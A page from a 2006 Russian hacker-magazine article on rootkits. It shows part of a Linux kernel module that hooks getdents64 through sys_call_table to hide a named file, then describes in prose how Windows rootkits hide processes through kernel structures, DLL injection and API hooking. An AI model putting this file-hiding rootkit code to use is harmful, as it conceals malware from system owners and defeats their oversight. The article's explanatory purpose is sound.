Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #70, СЕНТЯБРЬ 2006 г.

В прятки с мистером Бондом

Андрей Семенюченко

Спецвыпуск: Хакер, номер #070, стр. 070-046-4


unsigned short d_reclen;

unsigned char d_type;

char d_name[0];

} *dirp2, *dirp3;

// Имя файла, который нужно спрятать

char file_hide[] = "file_to_hide";

// Определим длину записей в директории

unsigned int bak, n;

int bak2;

bak = (*real_getd)(fil,dirp,cnt);

if (bak>0) {

// Выделим память для структуры в пространстве ядра и скопируем в нее содержимое каталога

dirp2 = (struct dirent64 *)kmalloc(bak,GFP_KERNEL);

copy_from_user(dirp2,dirp,bak);

// Задействуем вторую структуру и сохраним значение длины записей в каталоге

dirp3 = dirp2;

bak2 = bak;

//Ищем наш файл

while (bak2>0) {

// Считываем длину первой записи d_reclet и определяем оставшуюся длину записей в директории

n = dirp3->d_reclen;

bak2 -= n;

// Проверяем на совпадение имени файла с текущей записью

if (strstr((char *)&(dirp3->d_name), (char *)&file_hide) != NULL)

{

//В случае удачи затираем запись и вычисляем новое значение длины каталога

memcpy(dirp3, (char *)dirp3+dirp3->d_reclen, bak2);

bak -= n;

}

// Продвигаем указатель на следующую запись и ищем дальше

dirp3 = (struct dirent64 *)((char *)dirp3+dirp3->d_reclen);

}

// Возвращаем результат

copy_to_user(dirp,dirp2,bak);

kfree(dirp2);

}

// Возвращаем значение длины записей в каталоге

return bak;

}

// Cтандартные функции инициализации и выгрузки модуля

int init_module(void)

{

real_getd = sys_call_table[SYS_getdents64];

sys_call_table[SYS_getdents64]=our_getd;

return 0;

}

void cleanup_module()

{

sys_call_table[SYS_getdents64]=real_getd;

}

В Windows также распространены руткиты. Причем обстроиться в этой среде зловреду будет гораздо легче. Ведь большинство пользователей работают в системе с правами администратора, в то время как в юникс права root, необходимые для инсталляции подавляющего большинства rootkit, нужно еще получить с помощью использования уязвимостей. В Windows используются следующие пути сокрытия программ в системе:

1) Использование внутренних структур операционной системы. Внутренние структуры Windows недокументированны или слабо документированы, к тому же они меняются от версии к версии. Это сложная и трудоемкая работа, поскольку заставляет хакеров выполнять дополнительную работу по анализу кода. Но игра стоит свеч, поскольку данный подход позволяет скрыть процесс от большинства специализированных утилит, в том числе, например, от Task Manager.

2) Перехват вызова API-функций и внедрение dll. Наиболее популярный метод. Существует несколько способов внедрения dll: внедрение с помощью ловушек, реестра, удаленных потоков. Но, несмотря на то, что внедрение DLL в адресное пространство процесса — это замечательный способ узнать о том, что происходит в процессе, простое внедрение DLL не дает достаточной информации, а тем более не позволяет изменять поведение какой-либо функции. Таким образом, более эффективен и распространен метод перехвата вызова API-функций. Поскольку вызовы системных API-функций производятся приложениями через таблицы импорта/экспорта или через адрес, полученный с помощью функции GetProcAddress, то можно реализовать специальный код в dll-библиотеке, который будет внедряться в адресные пространства запущенных в системе процессов. Это позволит контролировать любое запущенное приложение.

Назад на стр. 070-046-3  Содержание  Вперед на стр. 070-046-5